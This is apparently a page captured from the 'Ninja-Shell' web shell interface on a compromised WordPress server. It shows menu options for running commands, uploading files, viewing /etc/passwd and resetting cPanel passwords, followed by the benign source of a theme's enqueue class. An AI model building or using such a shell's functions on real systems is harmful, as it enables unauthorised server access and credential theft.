{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//uk/wp-content/themes/binox/app/core/enqueue.class.php
<?php namespace binox\Core; /** * Enqueue. */ class Enqueue { /** * register default hooks and actions for WordPress * @return */ public function register() { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); } public function enqueue_scripts() { // stylesheets wp_register_style( 'wcf-custom-icons', BINOX_CSS . '/custom-icons.min.css', null, BINOX_VERSION ); wp_register_style( 'magnific-popup', BINOX_CSS . '/magnific-popup.min.css', null, BINOX_VERSION ); wp_register_style( 'vidbacking', BINOX_CSS . '/jquery.vidbacking.css', null, BINOX_VERSION ); wp_register_style( 'bootstrap', BINOX_CSS . '/bootstrap.min.css', null, BINOX_VERSION ); // :::::::::::::::::::::::::::::::::::::::::: if ( !is_admin() ) { // 3rd party css wp_enqueue_style( 'binox-fonts', binox_google_fonts_url(['Prata:300,400;500,600,700,800,900']), null, BINOX_VERSION ); wp_enqueue_style( 'meanmenu', BINOX_CSS . '/meanmenu.min.css', null, BINOX_VERSION ); wp_enqueue_style( 'bootstrap' ); wp_enqueue_style( 'magnific-popup' ); // Theme style wp_enqueue_style( 'binox-style', BINOX_CSS . '/master.css', null, BINOX_VERSION ); // WooCommerce if ( class_exists( 'WooCommerce' ) ) { wp_enqueue_style( 'arolax-woo', BINOX_CSS . '/woo.css', null, BINOX_VERSION ); } wp_enqueue_style( 'wcf-custom-icons' ); } // javascripts // ::::::::::::::::::::::::::::::::::::::::::::::: if ( !is_admin() ) { // 3rd party scripts wp_enqueue_script( 'bootstrap', BINOX_JS . '/bootstrap.bundle.min.js', array( 'jquery' ), BINOX_VERSION, true ); wp_enqueue_script( 'meanmenu', BINOX_JS . '/jquery.meanmenu.min.js', array( 'jquery' ), BINOX_VERSION, true ); wp_enqueue_script( 'magnific-popup', BINOX_JS . '/jquery.magnific-popup.min.js', array( 'jquery' ), BINOX_VERSION, true ); if(is_singular('post')){ wp_enqueue_script( 'goodshare', BINOX_JS . '/goodshare.min.js', array( 'jquery' ), BINOX_VERSION, true ); } // theme scripts wp_enqueue_script( 'binox-script', BINOX_JS . '/script.js', array( 'jquery','bootstrap'), BINOX_VERSION, true ); $binox_data = apply_filters('binox/script/custom/data',[ 'ajax_url' => admin_url( 'admin-ajax.php' ), 'cart_update_qty_change' => binox_option('cart_uwq_change', false), ]); wp_localize_script( 'binox-script', 'binox_obj', $binox_data); // Load WordPress Comment js if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } } }
./Ninja\.